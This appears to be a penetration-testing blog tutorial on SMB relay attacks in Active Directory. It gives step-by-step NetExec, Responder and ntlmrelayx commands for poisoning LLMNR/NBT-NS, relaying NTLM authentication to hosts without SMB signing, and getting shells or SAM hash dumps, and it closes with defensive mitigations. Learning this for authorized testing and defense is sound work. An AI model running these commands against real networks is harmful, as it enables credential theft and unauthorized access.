Internal Penetration Testing: A Real-World Guide to SMB Relay Attacks

During an internal penetration testing engagement or an Active Directory (AD) simulation lab, capturing hashes is only half the battle. If you want to achieve Domain Admin or gain low-noise execution across a corporate network without cracking a single password, SMB Relay is your silver bullet.

In this write-up, we will walk through a professional, end-to-end workflow using NetExec (nxcResponder, and Impacket's ntlmrelayx. We will also cover real-world troubleshooting steps for when your tools inevitably clash over system ports.

The Core Concept: Why SMB Relay?

Windows systems frequently use local multicast protocols like LLMNR and NBT-NS to resolve names when DNS queries fail. Attackers can poison these requests to capture authentication hashes.

However, if SMB Packet Signing is disabled (signing: False) on target servers, we don't need to spend hours brute-forcing those hashes in Hashcat. Instead, we can intercept the inbound authentication request and relay it to another machine on the network, granting us instant administrative access.

[Victim Workstation] ----(Authentication Request)----> [Kali Linux (Attacker)]
                                                               |
                                                       (Relays Credentials)
                                                               v
                                                    [Target Server (Signing: False)]

[Victim Workstation] ----(Authentication Request)----> [Kali Linux (Attacker)]
                                                               |
                                                       (Relays Credentials)
                                                               v
                                                    [Target Server (Signing: False)]

Phase 1: Reconnaissance & Target Identification

We cannot relay authentication to just any machine. The destination host must have SMB Signing disabled. We can use NetExec (nxc) to sweep the network and automatically generate a target file containing only vulnerable hosts.

Run the following command to scan your target subnet:

nxc smb 192.168.16.0/24 --gen-relay-list relay-list.txt

nxc smb 192.168.16.0/24 --gen-relay-list relay-list.txt

Analyzing the Output:

192.168.16.136 (signing:False) -> Vulnerable! Added to relay-list.txt.
192.168.16.138 (signing:True) -> Secure. This server requires cryptographic signatures; relaying will fail here.
192.168.16.135 (signing:False) -> Vulnerable! Added to relay-list.txt.

Phase 2: Preparing the Environment (The Pitfalls of Port Conflicts)

Before spinning up our relay listener, we must ensure our attacker machine isn't blocking its own ports. Tools like native Samba daemons or background scripts can create binding errors.

When firing up ntlmrelayx:

sudo impacket-ntlmrelayx -tf relay-list.txt -smb2support

sudo impacket-ntlmrelayx -tf relay-list.txt -smb2support

You might encounter this frustrating traceback error: OSError: [Errno 98] Address already in use

This happens because ntlmrelayx attempts to spin up listeners on ports 135 (RPC), 80 (HTTP), 445 (SMB), and 5985/5986 (WinRM). If another tool is using them, it crashes.

The Fix:

Locate the offending PID:

sudo ss -lnpt | grep -E '135|5985|5986'

Clear out legacy sessions:

sudo killall -9 python3

Run with targeted bypasses if needed: If you only want to focus on raw SMB relaying, you can explicitly tell the tool to skip RPC and WinRM bindings:

sudo impacket-ntlmrelayx -tf relay-list.txt -smb2support -no-rpc -no-winrm

Now, the script should sit stably with: [*] Servers started, waiting for connections

Phase 3: Setting the Trap with Responder

To catch authentications passively, we must configure Responder to act purely as a poisoning engine without interfering with our relay server.

Open your configuration file: sudo nano /etc/responder/Responder.conf
Change the server status flags to Off

SMB = Off
HTTP = Off

Launch Responder over your network interface:

sudo responder -I eth0 -dwv

Now, Responder will poison broadcast requests (LLMNR/NBNS), routing the victims directly into our active ntlmrelayx server running on ports 80 and 445.

Phase 4: Executing and Triggering the Relay

An SMB relay listener is passive; it requires an event to trigger a network connection. In an enterprise environment, this can happen naturally when a user mistypes a network share pathway (e.g., typing \\fileservr instead of \\fileserver).

To actively force execution during an assessment, we can use an interactive flag (-i) to drop us into a command shell once hooked:

sudo impacket-ntlmrelayx -tf relay-list.txt -smb2support -i

sudo impacket-ntlmrelayx -tf relay-list.txt -smb2support -i

Once a user hooks onto your listener:

ntlmrelayx intercepts the request.
It forwards it to a vulnerable host from relay-list.txt.
If the relaying user has local administrative privileges on that target, the console logs: AUTHENTICATING AGAINST smb://192.168.16.136 SUCCEEDED.
It initializes an interactive loopback or exposes a SAM database dump containing local user hashes.

Defensive Mitigations: How to Stop This Attack

If you are operating on the defensive side (Blue Team), stopping an SMB Relay attack is straightforward:

Enforce SMB Signing: Use Group Policy Objects (GPO) to set Microsoft network server: Digitally sign communications (always) to Enabled.
Disable Legacy Protocols: Turn off LLMNR and NBT-NS across all workstations and servers. Use DNS exclusively for name resolution.
Network Segmentation: Place high-value assets like Domain Controllers and database servers into restricted zones where workstations cannot directly authenticate to them via unmonitored ports.

Watch On Youtube: https://youtu.be/EF-uO2VHlbA

Contents